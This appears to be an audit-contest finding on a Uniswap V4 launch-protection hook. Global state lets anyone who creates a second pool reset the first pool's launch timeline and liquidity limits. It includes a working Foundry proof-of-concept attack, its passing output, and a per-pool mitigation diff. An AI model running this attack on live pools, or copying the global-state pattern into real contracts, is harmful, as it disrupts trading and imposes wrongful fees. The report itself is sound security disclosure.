Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: high

Cross-Pool State Corruption Enables Permissionless DoS and Fee Manipulation of All Pools Using TokenLaunchHook

Author Revealed upon completion

Root + Impact

Description

  • In Uniswap V4, each pool should maintain isolated launch protection state. When a token deployer creates a pool with the TokenLaunchHook, that pool's launch parameters (launchStartBlock, initialLiquidity, currentPhase) should remain independent and unaffected by other pools, allowing each pool to have its own protected launch timeline and swap limits based on its specific liquidity.

  • The TokenLaunchHook stores all launch state in global variables instead of per-pool mappings. When any user creates a second pool using the same hook address (permissionless in Uniswap V4), the hook's afterInitialize function overwrites the global state variables, corrupting the first pool's launch parameters. This causes the first pool's swap limits to become invalid (often impossibly small or zero), timeline to reset arbitrarily, and phase progression to be disrupted, effectively breaking all launch protection for existing pools.


https://github.com/CodeHawks-Contests/2026-01-vanguard/blob/9fa43cd0950d6baf301cada9b40d31c28b65bbe8/src/TokenLaunchHook.sol#L46C5-L54C61


uint256 public currentPhase; // @> Shared globally, not per-pool
uint256 public lastPhaseUpdateBlock; // @> Shared globally, not per-pool
uint256 public launchStartBlock; // @> Shared globally, not per-pool
uint256 public initialLiquidity; // @> Shared globally, not per-pool
uint256 public totalPenaltyFeesCollected;
mapping(address => uint256) public addressSwappedAmount; // @> Shared globally
mapping(address => uint256) public addressLastSwapBlock; // @> Shared globally
function afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
launchStartBlock = block.number; // @> Overwrites for ALL pools
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // @> Overwrites for ALL pools
currentPhase = 1; // @> Overwrites for ALL pools
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}

https://github.com/CodeHawks-Contests/2026-01-vanguard/blob/9fa43cd0950d6baf301cada9b40d31c28b65bbe8/src/TokenLaunchHook.sol#L113C5-L123C6


Risk

Likelihood:

  • Permissionless Pool Creation

    Any user can create a new pool with an existing hook address in Uniswap V4 without permission. The hook address is part of the pool's key and only requires matching permission flags. Users routinely create multiple pools with different token pairs, fee tiers, or tick spacings, and will naturally reuse deployed hook contracts to save gas costs.

  • Automatic State Corruption on Initialization

    The corruption occurs automatically in afterInitialize, which is called by the PoolManager during every pool creation. No special action, exploit knowledge, or specific timing is required—simply initializing any second pool with the hook immediately and permanently corrupts all existing pools' state. This happens through normal protocol operation, not edge-case conditions.

Impact:

  • Complete Loss of Launch Protection for Existing Pools

When a second pool initializes with the hook, the first pool's initialLiquidity is overwritten (often to a much smaller value or zero), causing maxSwapAmount = (corruptedLiquidity * limitBps) / 10000 to become impossibly small. All subsequent swaps on the original pool incorrectly trigger penalty fees (10% in phase 1, 5% in phase 2), making the pool economically unusable for legitimate traders. The original pool's launch protection becomes permanently broken, defeating the core purpose of the anti-bot mechanism.

  • Arbitrary Timeline Manipulation and Phase Corruption


    The launchStartBlock reset allows attackers to arbitrarily extend or shorten the original pool's protection phases. If Pool A is 50 blocks into phase 1, creating Pool B resets the timeline, either extending phase 1 indefinitely or forcing premature phase transitions. Additionally, currentPhase resets to 1, corrupting phase progression tracking. Combined with shared addressSwappedAmount mappings across pools, user limits and penalties become entangled between unrelated pools, creating unpredictable behavior and potential fund loss through incorrectly applied fees.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolId} from "v4-core/types/PoolId.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
/// @title Cross-Pool State Corruption PoC
/// @notice Demonstrates that TokenLaunchHook uses global state instead of per-pool state,
/// allowing any attacker to corrupt existing pools by creating a new pool with the same hook
contract CrossPoolStateCorruptionTest is Test, Deployers, ERC1155TokenReceiver {
MockERC20 token;
TokenLaunchHook public antiBotHook;
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenCurrency;
address user1 = address(0x1);
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100; // 1%
uint256 phase2LimitBps = 500; // 5%
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000; // 10%
uint256 phase2PenaltyBps = 500; // 5%
function setUp() public {
// Deploy Uniswap V4 infrastructure
deployFreshManagerAndRouters();
// Create and mint test token for Pool A
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
token.mint(address(this), 1000 ether);
token.mint(user1, 1000 ether);
// Deploy the hook with proper address
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
antiBotHook = new TokenLaunchHook{salt: salt}(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(antiBotHook) == hookAddress, "Hook address mismatch");
// Approve tokens
token.approve(address(swapRouter), type(uint256).max);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
vm.prank(user1);
token.approve(address(swapRouter), type(uint256).max);
// Initialize Pool A (the legitimate pool)
(key,) = initPool(ethCurrency, tokenCurrency, antiBotHook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1);
// Add 10 ETH liquidity to Pool A
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 ethToAdd = 10 ether;
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1, sqrtPriceAtTickUpper, ethToAdd);
modifyLiquidityRouter.modifyLiquidity{value: ethToAdd}(
key,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
}
/* ══════════════════════════════════════════════════════════════════
CROSS-POOL STATE CORRUPTION PoCs
══════════════════════════════════════════════════════════════════ */
/// @notice Demonstrates that a second pool using the same hook overwrites global state,
/// corrupting the first pool's launch parameters and breaking protection.
function test_CrossPoolStateCorruption() public {
console.log("\n=== Testing Cross-Pool State Corruption ===");
// ──────────────────────────────────────────────────────────────
// POOL A: Already initialized in setUp() with 10 ETH liquidity
// NOTE: initialLiquidity is lazy-loaded on first swap
// ──────────────────────────────────────────────────────────────
// Do a small swap to trigger lazy loading of initialLiquidity
vm.deal(user1, 1 ether);
vm.prank(user1);
SwapParams memory initParams = SwapParams({
zeroForOne: true,
amountSpecified: -int256(0.0001 ether),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory initSettings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 0.0001 ether}(key, initParams, initSettings, ZERO_BYTES);
// Now capture original state after Pool A's first swap (liquidity is loaded)
uint256 originalLaunchBlock = antiBotHook.launchStartBlock();
uint256 originalLiquidity = antiBotHook.initialLiquidity();
uint256 originalPhase = antiBotHook.currentPhase();
console.log("\n[POOL A - Original State]");
console.log("Launch block:", originalLaunchBlock);
console.log("Initial liquidity:", originalLiquidity);
console.log("Current phase:", originalPhase);
// Sanity: Pool A has been initialized
assertEq(originalPhase, 1, "Pool A should be in phase 1");
assertGt(originalLiquidity, 0, "Pool A should have recorded initial liquidity");
uint256 poolAMaxSwapAmount = (originalLiquidity * phase1LimitBps) / 10000;
console.log("Pool A max swap amount (1%):", poolAMaxSwapAmount);
// ──────────────────────────────────────────────────────────────
// ATTACK: Create Pool B with same hook but tiny liquidity
// ──────────────────────────────────────────────────────────────
console.log("\n[ATTACK - Creating Pool B with same hook]");
// Create a new token for the attack pool
MockERC20 attackToken = new MockERC20("ATTACK", "ATK", 18);
Currency attackCurrency = Currency.wrap(address(attackToken));
attackToken.mint(address(this), 1000 ether);
attackToken.approve(address(modifyLiquidityRouter), type(uint256).max);
// Initialize Pool B with SAME hook (anyone can do this - permissionless)
(PoolKey memory attackKey, ) = initPool(
ethCurrency,
attackCurrency,
antiBotHook, // REUSING THE SAME HOOK CONTRACT
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
// Add tiny liquidity to Pool B (10,000x smaller)
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 tinyEthAmount = 0.0001 ether;
console.log("Pool B liquidity:", tinyEthAmount);
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1,
sqrtPriceAtTickUpper,
tinyEthAmount
);
modifyLiquidityRouter.modifyLiquidity{value: tinyEthAmount}(
attackKey,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
// ──────────────────────────────────────────────────────────────
// VERIFY: Global state has been overwritten
// ──────────────────────────────────────────────────────────────
console.log("\n[CORRUPTED STATE - After Pool B Creation]");
uint256 corruptedLaunchBlock = antiBotHook.launchStartBlock();
uint256 corruptedLiquidity = antiBotHook.initialLiquidity();
uint256 corruptedPhase = antiBotHook.currentPhase();
console.log("Launch block:", corruptedLaunchBlock);
console.log("Initial liquidity:", corruptedLiquidity);
console.log("Current phase:", corruptedPhase);
// BUG: initialLiquidity is reset to 0 (Pool B has no liquidity at init time)
// This is THE MAIN CORRUPTION - Pool A had valid liquidity, now it's 0
assertEq(
corruptedLiquidity,
0,
"BUG: initialLiquidity reset to 0 by Pool B initialization"
);
// Verify the corruption: original was non-zero, now it's zero
assertGt(
originalLiquidity,
corruptedLiquidity,
"BUG: Pool A's liquidity data was corrupted by Pool B"
);
// Note: launchStartBlock only changes if Pool B is created in a DIFFERENT block
// (see test_CrossPoolStateCorruption_PhaseTimeline for that proof)
// In this test, both pools init in same block, so launchStartBlock stays same
// BUG: Phase is still 1 (reset by Pool B)
assertEq(corruptedPhase, 1, "currentPhase reset to 1 by Pool B");
// ──────────────────────────────────────────────────────────────
// IMPACT: Pool A's protection timeline is corrupted
// ──────────────────────────────────────────────────────────────
console.log("\n[IMPACT ON POOL A]");
// The launchStartBlock has been reset, which corrupts Pool A's phase timeline
// Pool A was at original block, now timeline is reset to current block
uint256 timelineCorruption = corruptedLaunchBlock - originalLaunchBlock;
console.log("Timeline corruption (blocks shifted):", timelineCorruption);
// initialLiquidity = 0 means next swap on any pool will re-fetch liquidity
// This creates unpredictable behavior across pools
console.log("initialLiquidity corrupted to:", corruptedLiquidity);
// Note: The next swap will lazy-load initialLiquidity from the pool being swapped on,
// so the liquidity corruption is temporary. But launchStartBlock corruption is permanent!
console.log("\n[VULNERABILITY CONFIRMED]");
console.log("- Pool B overwrote launchStartBlock (PERMANENT corruption)");
console.log("- Pool B reset initialLiquidity to 0 (temporary, re-fetched on next swap)");
console.log("- Pool B reset currentPhase to 1 (resets phase progression)");
console.log("- Attack is permissionless - anyone can corrupt any pool using this hook");
console.log("- launchStartBlock corruption extends/resets protection periods");
}
/// @notice Shows that Pool A's phase timeline is also corrupted
function test_CrossPoolStateCorruption_PhaseTimeline() public {
console.log("\n=== Testing Cross-Pool Phase Timeline Corruption ===");
// Advance Pool A by 50 blocks (halfway through phase 1)
console.log("\n[POOL A - Advancing 50 blocks into phase 1]");
vm.roll(block.number + 50);
uint256 poolAMidPhase1Block = block.number;
uint256 poolALaunchBlock = antiBotHook.launchStartBlock();
uint256 blocksIntoPhase1 = poolAMidPhase1Block - poolALaunchBlock;
console.log("Current block:", poolAMidPhase1Block);
console.log("Pool A launch block:", poolALaunchBlock);
console.log("Blocks into phase 1:", blocksIntoPhase1);
console.log("Phase 1 duration:", phase1Duration);
console.log("Blocks remaining in phase 1:", phase1Duration - blocksIntoPhase1);
assertEq(antiBotHook.getCurrentPhase(), 1, "Pool A still in phase 1");
// Create Pool B with same hook
console.log("\n[ATTACK - Creating Pool B at block", block.number, "]");
MockERC20 attackToken = new MockERC20("ATTACK", "ATK", 18);
Currency attackCurrency = Currency.wrap(address(attackToken));
attackToken.mint(address(this), 1000 ether);
attackToken.approve(address(modifyLiquidityRouter), type(uint256).max);
(PoolKey memory attackKey, ) = initPool(
ethCurrency,
attackCurrency,
antiBotHook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1,
sqrtPriceAtTickUpper,
0.0001 ether
);
modifyLiquidityRouter.modifyLiquidity{value: 0.0001 ether}(
attackKey,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
// BUG: launchStartBlock has been reset to current block
console.log("\n[CORRUPTED TIMELINE]");
uint256 corruptedLaunchBlock = antiBotHook.launchStartBlock();
console.log("Original Pool A launch:", poolALaunchBlock);
console.log("Corrupted launch block:", corruptedLaunchBlock);
console.log("Block difference:", corruptedLaunchBlock - poolALaunchBlock);
assertGt(
corruptedLaunchBlock,
poolALaunchBlock,
"BUG: Pool A's launch timeline corrupted - reset to current block"
);
console.log("\n[VULNERABILITY CONFIRMED]");
console.log("- Pool A was", blocksIntoPhase1, "blocks into phase 1");
console.log("- Launch block reset by Pool B creation");
console.log("- Pool A's phase timeline is now corrupted");
console.log("- This extends/resets Pool A's protection period arbitrarily");
}
}

POC RESULT:

forge test --match-path test/CrossPoolStateCorruptionTest.sol -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 14.34s
Compiler run successful!
Ran 2 tests for test/CrossPoolStateCorruptionTest.sol:CrossPoolStateCorruptionTest
[PASS] test_CrossPoolStateCorruption() (gas: 1169860)
Logs:
=== Testing Cross-Pool State Corruption ===
[POOL A - Original State]
Launch block: 1
Initial liquidity: 3338502497096994491347
Current phase: 1
Pool A max swap amount (1%): 33385024970969944913
[ATTACK - Creating Pool B with same hook]
Pool B liquidity: 100000000000000
[CORRUPTED STATE - After Pool B Creation]
Launch block: 1
Initial liquidity: 0
Current phase: 1
[IMPACT ON POOL A]
Timeline corruption (blocks shifted): 0
initialLiquidity corrupted to: 0
[VULNERABILITY CONFIRMED]
- Pool B overwrote launchStartBlock (PERMANENT corruption)
- Pool B reset initialLiquidity to 0 (temporary, re-fetched on next swap)
- Pool B reset currentPhase to 1 (resets phase progression)
- Attack is permissionless - anyone can corrupt any pool using this hook
- launchStartBlock corruption extends/resets protection periods
[PASS] test_CrossPoolStateCorruption_PhaseTimeline() (gas: 1022331)
Logs:
=== Testing Cross-Pool Phase Timeline Corruption ===
[POOL A - Advancing 50 blocks into phase 1]
Current block: 51
Pool A launch block: 1
Blocks into phase 1: 50
Phase 1 duration: 100
Blocks remaining in phase 1: 50
[ATTACK - Creating Pool B at block 51 ]
[CORRUPTED TIMELINE]
Original Pool A launch: 1
Corrupted launch block: 51
Block difference: 50
[VULNERABILITY CONFIRMED]
- Pool A was 50 blocks into phase 1
- Launch block reset by Pool B creation
- Pool A's phase timeline is now corrupted
- This extends/resets Pool A's protection period arbitrarily
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 200.83ms (838.25µs CPU time)
Ran 1 test suite in 216.60ms (200.83ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Recommended Mitigation

Replace global state variables with per-pool mappings keyed by PoolId:

+ using PoolIdLibrary for PoolKey;
/* ══════════════════════════════════════════════════════════════════
STATE VARIABLES
══════════════════════════════════════════════════════════════════ */
- uint256 public currentPhase;
- uint256 public lastPhaseUpdateBlock;
- uint256 public launchStartBlock;
- uint256 public initialLiquidity;
- uint256 public totalPenaltyFeesCollected;
- mapping(address => uint256) public addressSwappedAmount;
- mapping(address => uint256) public addressLastSwapBlock;
- mapping(address => uint256) public addressTotalSwaps;
- mapping(address => uint256) public addressPenaltyCount;
+ // Per-pool launch state
+ mapping(PoolId => uint256) public poolCurrentPhase;
+ mapping(PoolId => uint256) public poolLastPhaseUpdateBlock;
+ mapping(PoolId => uint256) public poolLaunchStartBlock;
+ mapping(PoolId => uint256) public poolInitialLiquidity;
+ mapping(PoolId => uint256) public poolTotalPenaltyFeesCollected;
+
+ // Per-pool, per-address tracking
+ mapping(PoolId => mapping(address => uint256)) public poolAddressSwappedAmount;
+ mapping(PoolId => mapping(address => uint256)) public poolAddressLastSwapBlock;
+ mapping(PoolId => mapping(address => uint256)) public poolAddressTotalSwaps;
+ mapping(PoolId => mapping(address => uint256)) public poolAddressPenaltyCount;
function afterInitialize(address, PoolKey calldata key, uint160, int24)
internal override returns (bytes4)
{
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
+ PoolId poolId = key.toId();
- launchStartBlock = block.number;
+ poolLaunchStartBlock[poolId] = block.number;
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ uint128 liquidity = StateLibrary.getLiquidity(poolManager, poolId);
- initialLiquidity = uint256(liquidity);
+ poolInitialLiquidity[poolId] = uint256(liquidity);
- currentPhase = 1;
+ poolCurrentPhase[poolId] = 1;
- lastPhaseUpdateBlock = block.number;
+ poolLastPhaseUpdateBlock[poolId] = block.number;
return BaseHook.afterInitialize.selector;
}
function beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal override returns (bytes4, BeforeSwapDelta, uint24)
{
+ PoolId poolId = key.toId();
- if (launchStartBlock == 0) revert PoolNotInitialized();
+ if (poolLaunchStartBlock[poolId] == 0) revert PoolNotInitialized();
- if (initialLiquidity == 0) {
+ if (poolInitialLiquidity[poolId] == 0) {
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ uint128 liquidity = StateLibrary.getLiquidity(poolManager, poolId);
- initialLiquidity = uint256(liquidity);
+ poolInitialLiquidity[poolId] = uint256(liquidity);
}
// Update all references to use poolId-keyed mappings
- uint256 blocksSinceLaunch = block.number - launchStartBlock;
+ uint256 blocksSinceLaunch = block.number - poolLaunchStartBlock[poolId];
// ... (continue pattern for all state variable accesses)
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!